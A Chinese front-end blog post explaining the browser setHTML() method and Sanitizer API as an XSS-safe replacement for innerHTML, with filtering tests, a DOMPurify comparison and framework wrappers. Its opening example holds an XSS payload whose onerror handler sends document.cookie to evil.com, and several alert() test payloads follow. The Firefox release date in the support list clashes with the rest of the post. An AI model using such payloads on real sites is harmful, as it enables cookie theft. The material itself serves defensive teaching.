前端开发 · 2026年2月25日

innerHTML 用了这么多年,浏览器终于给了安全替代品:setHTML() + Sanitizer API

用了多少年 innerHTML,踩了多少次 XSS 坑,浏览器终于要给我们一个原生的解决方案了。Firefox 148 在 2026-02-24 正式发布,随之一起落地的是已经标准化的 Sanitizer API,和配套的 setHTML() 方法。Chrome 从 146 版本就开始支持了,现在两大主流浏览器都有了,可以认真对待这个 API 了。

innerHTML 的问题到底在哪

前端开发里最常见的 XSS 场景长这样:

// 用户输入的内容,没有经过任何处理
const userInput = '<img src=x onerror="fetch(`https://evil.com/steal?c=${document.cookie}`)">';

// 直接塞进 DOM
document.getElementById('content').innerHTML = userInput;
// 💥 XSS 触发,cookie 被偷走

这不是什么罕见的低级错误。即使是经验丰富的开发者,在处理富文本、Markdown 渲染结果、从后端拿来的 HTML 片段时,都可能不小心让不安全的内容进了 DOM。

现有的解决方案主要是 DOMPurify 这类第三方库。DOMPurify 很成熟,但终究是个 polyfill 性质的方案——需要额外引入依赖,性能开销完全在 JS 层,而且安全策略的维护也依赖第三方。浏览器原生支持 HTML 解析和渲染,理论上更适合做这件事。

setHTML() 和 Sanitizer API

setHTML()Element 接口新增的方法,用来替换 innerHTML 的赋值操作。它的核心特点是:解析 HTML 字符串的同时自动剔除 XSS 不安全的内容,结果再写入 DOM。

// 基本用法,和 innerHTML 赋值几乎一样
const target = document.getElementById('content');
const unsafeHtml = '<p>Hello</p><script>alert(1)</script>';

// 旧写法
target.innerHTML = unsafeHtml; // ⚠️ script 标签会执行

// 新写法
target.setHTML(unsafeHtml); // ✅ script 被自动移除

setHTML() 内部使用的是 Sanitizer API,可以通过 options.sanitizer 参数定制行为。

实际测试:默认模式下会过滤什么

先弄清楚默认 sanitizer 的行为。我在 Chrome 148 里测了一遍:

const target = document.getElementById('test');

// 测试 1:script 标签
target.setHTML('<p>text</p><script>alert(1)</script>');
console.log(target.innerHTML); 
// 输出: <p>text</p>
// ✅ script 被移除

// 测试 2:事件处理器
target.setHTML('<button onclick="alert(1)">点我</button>');
console.log(target.innerHTML); 
// 输出: <button>点我</button>
// ✅ onclick 被移除

// 测试 3:javascript: 伪协议
target.setHTML('<a href="javascript:alert(1)">链接</a>');
console.log(target.innerHTML); 
// 输出: <a>链接</a>
// ✅ href 属性值被清理

// 测试 4:onerror 注入
target.setHTML('<img src=x onerror="alert(1)">');
console.log(target.innerHTML); 
// 输出: <img src="x">
// ✅ onerror 被移除,img 本身保留

// 测试 5:data-* 属性(这个结果让我意外)
target.setHTML('<p data-id="123">带数据属性的段落</p>');
console.log(target.innerHTML); 
// 输出: <p>带数据属性的段落</p>
// ⚠️ data-* 属性被默认移除了!

// 测试 6:style 属性
target.setHTML('<p style="color:red">红色文字</p>');
console.log(target.innerHTML); 
// 输出: <p style="color: red;">红色文字</p>
// ✅ style 属性保留(被认为是安全的)

最让我没想到的是 data-* 属性被默认过滤了。理由是 data 属性可以被用来传递恶意数据,比如配合某些框架的指令执行 JS。如果你的应用依赖 data 属性,需要自定义 sanitizer。

自定义 Sanitizer

Sanitizer API 支持细粒度控制,有两种模式:allowlist(白名单)和 removelist(黑名单)。

// 模式一:白名单——只允许指定的元素和属性
const strictSanitizer = new Sanitizer({
  elements: ['p', 'br', 'strong', 'em', 'a', 'ul', 'ol', 'li'],
});
// 注意:即使你允许 script,setHTML() 也会强制移除,这是 setHTML 的设计
// 想允许 unsafe 内容,要用 setHTMLUnsafe()(别这么干)

target.setHTML(userHtml, { sanitizer: strictSanitizer });

// 模式二:黑名单——在默认基础上额外移除某些东西
const removeSomeSanitizer = new Sanitizer({
  removeElements: ['iframe', 'object', 'embed'],
  removeAttributes: ['style'],  // 不允许内联样式
});

target.setHTML(userHtml, { sanitizer: removeSomeSanitizer });

// 模式三:允许 data-* 属性
const dataAllowedSanitizer = new Sanitizer();
dataAllowedSanitizer.setDataAttributes(true);  // 允许 data-* 属性

target.setHTML('<p data-id="123">内容</p>', { sanitizer: dataAllowedSanitizer });
console.log(target.innerHTML);
// 输出: <p data-id="123">内容</p>
// ✅ data 属性现在保留了

Sanitizer 对象可以复用,这点比每次传 SanitizerConfig 效率更高——官方文档特别说明了,如果同一个配置要用多次,应该先构建 Sanitizer 实例,而不是每次传字面量对象。

和 DOMPurify 对比

用同一段 payload 测了一下:

const payload = `
  <p>正常文本</p>
  <script>alert('xss1')</script>
  <img src=x onerror="alert('xss2')">
  <a href="javascript:alert('xss3')">恶意链接</a>
  <svg><g onload="alert('xss4')"></g></svg>
  <div data-user="admin" style="color:red">带属性的 div</div>
`;

// DOMPurify 结果
const purifyResult = DOMPurify.sanitize(payload);
// <p>正常文本</p>
// <img src="x">
// <a>恶意链接</a>
// <svg><g></g></svg>
// <div data-user="admin" style="color:red">带属性的 div</div>
// 注意:DOMPurify 默认保留 data-* 和 style

// setHTML() 默认结果(通过读取 innerHTML 查看)
target.setHTML(payload);
// <p>正常文本</p>
// <img src="x">
// <a>恶意链接</a>
// <svg><g></g></svg>
// <div style="color: red;">带属性的 div</div>
// 注意:data-user 被移除了,style 保留
对比项 setHTML() + Sanitizer API DOMPurify
script 标签 ✅ 移除 ✅ 移除
事件处理器 (onclick 等) ✅ 移除 ✅ 移除
javascript: 伪协议 ✅ 移除 ✅ 移除
data-* 属性(默认) ⚠️ 移除 ✅ 保留
style 属性(默认) ✅ 保留 ✅ 保留
iframe ✅ 移除 ✅ 移除
SVG 中的事件 ✅ 移除 ✅ 移除
依赖外部库 ❌ 不需要 ⚠️ 需要
Safari 支持 ❌ 暂不支持 ✅ 支持
自定义灵活性

浏览器支持现状

截至 2026-02-25:

  • Chrome 146+:支持
  • Firefox 148+:支持(2024-02-24 刚发布)
  • Safari:不支持(TP 版本支持情况未知)
  • Edge:基于 Chromium,跟 Chrome 同步,145 及以下不支持

Safari 不支持是个大麻烦,意味着现阶段还不能直接上生产环境,除非你的用户全都不用苹果设备。

降级方案:检测 + polyfill

现实的做法是检测 API 是否存在,不存在就降级到 DOMPurify:

// 封装一个安全的 HTML 注入函数
function safeSetHTML(element, html, sanitizerConfig = {}) {
  // 优先用原生 setHTML
  if (typeof element.setHTML === 'function') {
    if (Object.keys(sanitizerConfig).length > 0) {
      const sanitizer = new Sanitizer(sanitizerConfig);
      element.setHTML(html, { sanitizer });
    } else {
      element.setHTML(html);
    }
    return;
  }
  
  // 降级到 DOMPurify
  if (typeof DOMPurify !== 'undefined') {
    element.innerHTML = DOMPurify.sanitize(html);
    return;
  }
  
  // 最后的保底:转义所有内容
  console.warn('没有可用的安全 HTML 注入方案,回退到纯文本');
  element.textContent = html;
}

// 使用
const content = document.getElementById('user-content');
safeSetHTML(content, userProvidedHtml);

// 带自定义规则
safeSetHTML(content, userProvidedHtml, {
  removeElements: ['iframe'],
  removeAttributes: ['style'],
});

这个封装在 Chrome 和 Firefox 最新版上用原生 API,Safari 和旧版本自动降级到 DOMPurify,兜底是 textContent。

在 React/Vue 里的用法

React 里直接用 dangerouslySetInnerHTML 赋值是 XSS 高危区。可以改造成这样:

// React Hook
import { useRef, useEffect } from 'react';

function useSafeHTML(html) {
  const ref = useRef(null);
  
  useEffect(() => {
    if (!ref.current) return;
    
    if (typeof ref.current.setHTML === 'function') {
      ref.current.setHTML(html);
    } else {
      // 降级方案
      ref.current.innerHTML = DOMPurify.sanitize(html);
    }
  }, [html]);
  
  return ref;
}

// 组件里使用
function UserContent({ html }) {
  const contentRef = useSafeHTML(html);
  // 注意:这里 div 是空的,内容通过 effect 注入
  return <div ref={contentRef} />;
}
// Vue 3 指令
// directives/safe-html.js
export const vSafeHtml = {
  mounted(el, binding) {
    applySafeHtml(el, binding.value);
  },
  updated(el, binding) {
    if (binding.value !== binding.oldValue) {
      applySafeHtml(el, binding.value);
    }
  }
};

function applySafeHtml(el, html) {
  if (typeof el.setHTML === 'function') {
    el.setHTML(html);
  } else {
    el.innerHTML = DOMPurify.sanitize(html);
  }
}

// main.js 注册
app.directive('safe-html', vSafeHtml);

// 模板里使用
// <div v-safe-html="userContent"></div>

踩坑记录

1. setHTML 不能链式调用

innerHTML 赋值完之后可以继续操作,但 setHTML() 返回 undefined,不能链式。这倒不是什么大问题,只是习惯问题。

2. 自定义白名单里包含 script,但 script 还是被移除

这是设计如此。setHTML() 会在用户自定义的 sanitizer 基础上,再强制调用 Sanitizer.removeUnsafe(),保证 XSS-unsafe 的内容永远被移除。如果你真的需要在 HTML 里保留 script(比如处理 SSR 注水),应该用 setHTMLUnsafe(),但那就要自己承担安全责任了。

3. data-* 属性被默认过滤

前面提到了,这个坑最容易踩。很多前端框架(Alpine.js 之类的)或者业务逻辑依赖 data 属性传数据,默认 sanitizer 会把这些全砍掉,导致功能失效。解决方法是显式开启:

const sanitizer = new Sanitizer();
sanitizer.setDataAttributes(true);
element.setHTML(html, { sanitizer });

4. 在 Firefox 147 及以下不可用

Firefox 148 是 2026-02-24 才发布的,线上用户大概率还有旧版本。必须做降级处理,不要只判断 Firefox 就认为支持。

结论

Sanitizer API 和 setHTML() 的方向是对的——把 HTML 安全净化下沉到浏览器引擎层,比 JS 层的 DOMPurify 更快、更可靠。Chrome 和 Firefox 同时支持之后,这个 API 的实用性大幅提升。

现阶段:Safari 不支持,Edge 还没跟上,生产环境还不能直接用,但写降级方案的成本不高,可以先布局起来,等覆盖率上来了直接切。

DOMPurify 短期内不会消失,它的生态更成熟,配置项也更丰富。但作为前端工程师,值得把 setHTML() 纳入工具箱了——至少在面向现代浏览器的内部工具或者不考虑 Safari 的项目上,可以直接用原生方案了。